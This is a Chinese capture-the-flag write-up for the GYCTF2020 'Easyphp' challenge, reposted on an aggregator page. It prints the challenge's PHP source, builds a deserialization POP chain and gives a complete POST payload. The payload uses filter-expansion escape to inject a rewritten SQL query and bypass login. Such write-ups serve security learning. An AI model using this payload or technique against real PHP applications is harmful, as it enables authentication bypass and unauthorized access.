[GYCTF2020]Easyphp

news2024/11/24 9:44:00

打开界面,一个登陆的窗口,想到sql注入

然后查看源码没有多余的提示

然后试了一下常见的www.zip成功下载文件

index.php发现了包含文件

<?php
require_once "lib.php";

if(isset($_GET['action'])){
	require_once(__DIR__."/".$_GET['action'].".php");
}
else{
	if($_SESSION['login']==1){
		echo "<script>window.location.href='./index.php?action=update'</script>";
	}
	else{
		echo "<script>window.location.href='./index.php?action=login'</script>";
	}
}
?>


lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        //反序列化的是getNewinfo的返回值
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
    //调用类中不存在的方法时会调用
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);//执行sql语句。
        $result->bind_param('s', $this->name);
        //绑定参数,第一个参数,表示第一个字段类型string,是要插入字段的类型
        $result->execute();//执行准备的语句
        $result->bind_result($idResult, $passwordResult);
        //把查寻的id集合绑定到idresult,密码集绑定到变量passwordResult,查到返回true
        $result->fetch();//取值
        $result->close();//关连接
        if ($this->token=='admin') {
            //通过反序列化控制token等于admin就可以了
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        //当密码
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

if ($this->token=='admin') {
            //通过反序列化控制token等于admin就可以了
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        //当密码
        $_SESSION['token']=$this->name;
        return $idResult;

我们可以知道登陆成功的条件:① 用户名存在,且$this->password的md5值与数据库查询的用户密码相同。② 或者token的值为admin。

代码中的查询语句为select id,password from user where username=?,
但其实执行的sql语句是我们可控的(后面再说明),这样的话我们只需要将查询语句写成下面这个样子:
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

 然后用序列化反序列化把值存进去就可以了

首先看一个小例子

<?php
class test1{
    public $nickname;
    public $age=8;
    public function __destruct(){
        $this->nickname->update($this->age);
    }
}
class test2{
    public $c;
    public $d;
    public function __call($c,$d){
        echo $c;//这个c接受的是 update这个方法名
        echo $c[1]; 这就是 update  中的 p
        echo $d[0]."br";  8
        echo $d;    array 

}

}
$t=new test1();
$t->nickname=new test2();
echo serialize($t);

之后开始构造

UpdateHelper::destruct-->User::tostring-->Info::call-->dbCtrl::login

<?php
error_reporting(0);
session_start();

class User
{

    public $age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
    public $nickname=null;

}
class Info{
    public $CtrlCase;

}
Class UpdateHelper{
    public $sql;

}
class dbCtrl
{

    public $name="admin";
    public $password="1";


}
$U=new UpdateHelper();
$U->sql=new User();
$U->sql->nickname=new Info();
$U->sql->nickname->CtrlCase=new dbCtrl();
echo serialize($U);

这里为什么是age被赋值时因为每一次的传参 

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

然后我们发现反序列化的点也在里面,User类中的update

   public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        echo safe(serialize(new Info($age,$nickname)));
        return safe(serialize(new Info($age,$nickname)));
    }

也就是age,nickname的序列化,然后经过了safe过滤,这就要用到反序列化逃逸了,不然序列化出来的是

O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}

想当然我们的思路就是通过,union会替换为hacker,5个字符变成了6个字符,就可以进行逃逸

因为age和nickname都可以post进行传参,nickname在后面,如果改age还需要加nickname,

所以我们决定修改nickname 

例子:

{s:3:"age";N;s:8:"nickname";N;s:8:"   union";s:age    这里就可以自由的改了后面的都会被忽略                           ";N;}

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

这是构造完的,264个字符包括  ";s:8:"CtrlCase";     

然后需要264个union进行逃逸

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

然后在 update.php界面,进行传参,这时候用户名为admin密码随意,因为session[name]设置为了admin了,默认加php

 参考链接:[GYCTF2020]Easyphp_succ3的博客-CSDN博客_[gyctf2020]easyphp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/90956.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构 | 红黑树、平衡二叉树旋转、并查集

一、红黑树 1.1、红黑树的定义&#xff08;左根右&#xff0c;根叶黑&#xff0c;不红红&#xff0c;黑路同&#xff09; 前提&#xff0c;对于一棵二叉排序树(或者说二叉搜索树)&#xff0c;如果满足以下定义则是红黑树&#xff1a; ①每个结点或是红色&#xff0c;或是黑色的…

2022-12-15 工作记录--React-用swiper实现多行交错、同速、跑马灯效果的弹幕式轮播(坑)

React-用swiper实现多行交错、同速、跑马灯效果的弹幕式轮播&#xff08;坑&#xff09; 激动的心呀呀呀&#xff01;٩(๑>◡<๑)۶ 历时昨天一下午滴时间昨晚凌晨一点多&#x1f31b;还爬起来思考&#x1f914;这个问题&#xff08;眼睛一闭着&#x1f634;&#xff0c…

2471. 逐层排序二叉树所需的最少操作数目-层次遍历+选择排序

2471. 逐层排序二叉树所需的最少操作数目-层次遍历选择排序 给你一个 值互不相同 的二叉树的根节点 root 。 在一步操作中&#xff0c;你可以选择 同一层 上任意两个节点&#xff0c;交换这两个节点的值。 返回每一层按 严格递增顺序 排序所需的最少操作数目。 节点的 层数…

虚拟机的垃圾收集(一)

虚拟机就好比是一个有限空间的一个房子&#xff0c;在我们生活中&#xff0c;也会产生各种各样的垃圾&#xff0c;虚拟机也不例外&#xff0c;垃圾满了会造成内存溢出等问题&#xff0c;那虚拟机是怎么进行垃圾回收的呢?让我们来揭开这神秘的面纱 1.概述 程序计数器、虚拟机…

融一亿但被质疑的5ire为何大家有分歧

5ire是由印度裔企业家 Pratik Gauri 和 Prateek Dwivedi 以及 Web3 金融家 Vilma Mattila 于 2021 年 8 月创立的区块链项目&#xff0c;官方在2022年7月公布以15亿美元估值获得一亿美元融资&#xff0c;机构为英国企业集团 SRAM & MRAM Group &#xff0c;成为印度的第 10…

[附源码]Python计算机毕业设计高校教材管理系统Django(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

电影《海贼王:红发歌姬》观后感

上周&#xff0c;北京已经开始陆续解封了&#xff0c;电影院也可以进入了&#xff0c;只要持有48小时核算就行&#xff0c;于是去看了这部电影《海贼王&#xff1a;红发歌姬》&#xff0c;去看之前&#xff0c;看了预告片&#xff0c;讲述路飞小时候的玩伴乌塔&#xff0c;长大…

NLP创业破局,如何摘取更高处的果实

点击蓝字关注我们AI TIME欢迎每一位AI爱好者的加入&#xff01;2022年&#xff0c;云从科技、商汤科技先后登陆资本市场&#xff0c;计算机视觉四小龙中的旷视科技、依图科技也在摩拳擦掌。反观NLP领域&#xff0c;相关企业的发展速度、融资规模、上市进程仿佛都要略逊一筹&…

java计算机毕业设计基于安卓Android的二手交易app-闲置物品交易app-ssm

项目介绍 首先,论文一开始便是清楚的论述了系统的研究内容。其次,剖析系统需求分析,弄明白“做什么”,分析包括业务分析和业务流程的分析以及用例分析,更进一步明确系统的需求。然后在明白了系统的需求基础上需要进一步地设计系统,主要包罗软件架构模式、整体功能模块、数据库设…

数组 reduce 方法使用记录

概述 reduce()方法对数组中每个元素执行一次 reduce&#xff08;&#xff09;函数 —升序执行&#xff0c;将其结果汇总为单个返回值。 reduce方法可做的事情特别多&#xff0c;就是训话遍历能做的&#xff0c;reduce都可以做&#xff0c;比如&#xff1a;数组求和&#…

Vue基础快速入门

目录 1.vue基础 1.1vue项目创建 1.2 el挂载 1.3.data数据对象 2.本地应用 2.1.内容绑定&#xff0c;事件绑定 v-text ​v-html 传递自定义参数&#xff0c;事件修饰符 总结&#xff1a; 结合使用&#xff1a;计数器 2.2.显示切换&#xff0c;属性绑定 v-show v…

【笔记】计算机组成原理复习重点——篇一

计算机组成原理复习重点笔记 计算机组成原理计算机体系结构 学科基础必修课 研究生入学考试全国联考45分&#xff0c;占比30% 64学时&#xff0c;4学分&#xff0c;上课56&#xff0c;实验8 教材&#xff1a;计算机组成原理(第二版 ) 唐朔飞 高等教育出版社 目录&#xff08;已…

快速创建servlet(doGet和doPost)

目录 前言必读 一、概述 一、创建方式 1.在需要创建的包下进行创建 2.自定义类名--->类这里添加一个类名&#xff08;和上面的名称一样名字&#xff09; ------>勾选创建并确定 3.创建完成代码 4.删掉多余的 二、升级生成的模板 1.点击文件--设置里面 2.在编…

Simulink| “双碳”背景下汽车减少碳排放建模与仿真

目录 一、概述 二、模型 三、Simulink模型 四、matlab代码 一、概述 温室气体的过量排放会增强温室效应&#xff0c;造成全球极端气候的出现&#xff0c;严重影响人类的生存与发展&#xff0c;因此&#xff0c;控制温室气体减排已成为当前环保的重点。根据联合国政府间气…

Linux系统搭建redis-cluster集群案例

Linux系统搭建redis-cluster集群案例&#xff08;一&#xff09;redis下载及安装【1】前言介绍【2】redis下载以及安装&#xff08;1&#xff09;首先要进入Linux系统的根目录&#xff08;2&#xff09;安装redis所需的环境&#xff08;3&#xff09;下载redis源码包&#xff0…

k8s 中部署kafka集群

由于开发过程中使用到了kafka&#xff0c;又不想自己部署kafka&#xff0c;索性采用k8s 部署kafka集群&#xff0c;以求做到随时插拔。 创建命名空间 apiVersion: v1 kind: Namespace metadata:name: "kafka"labels:name: "kafka"sudo kubectl apply -f …

linux篇【12】:计算机网络——tcp

目录 一.TCP套接字接口 1.inet_aton &#xff08;和inet_addr一样&#xff0c;换一种方式而已&#xff09; 2.listen——把套接字设置为监听状态 3.服务器获取客户端的连接 accept 返回值中套接字和参数中套接字的作用&#xff1a; 4.用到的部分函数 &#xff08;1&…

技术分享 | MySQL 多版本并发控制「MVCC」

作者&#xff1a;贲绍华 爱可生研发中心工程师&#xff0c;负责项目的需求与维护工作。其他身份&#xff1a;柯基铲屎官。 本文来源&#xff1a;原创投稿 *爱可生开源社区出品&#xff0c;原创内容未经授权不得随意使用&#xff0c;转载请联系小编并注明来源。 一、MySQL InnoD…

TaxiBGC ——分类学指导下的生物合成基因簇鉴定流程

谷禾健康 当前合成基因簇预测限制较大 微生物基因组中的生物合成基因簇 (BGC) 编码具有生物活性的次级代谢物 (SM)&#xff0c;它可以在微生物-微生物和宿主-微生物相互作用中发挥重要作用。 鉴于次级代谢物的生物学意义和当前对微生物组代谢功能的深刻兴趣&#xff0c;从高通…

通过 ffmpeg 串流对接 OBS 等直播软件

我们要将设备通过私有通道输出到 H264 流&#xff0c;传给 OBS 等直播软件使用。为此&#xff0c;设计了上图所示的串流工具。 设计思路 私有通道通过 API 接口提供 H264 流&#xff0c;要传给 ffmpeg &#xff0c;最简单的方法是通过进程间管道传输数据。这里 Dump 工具直接…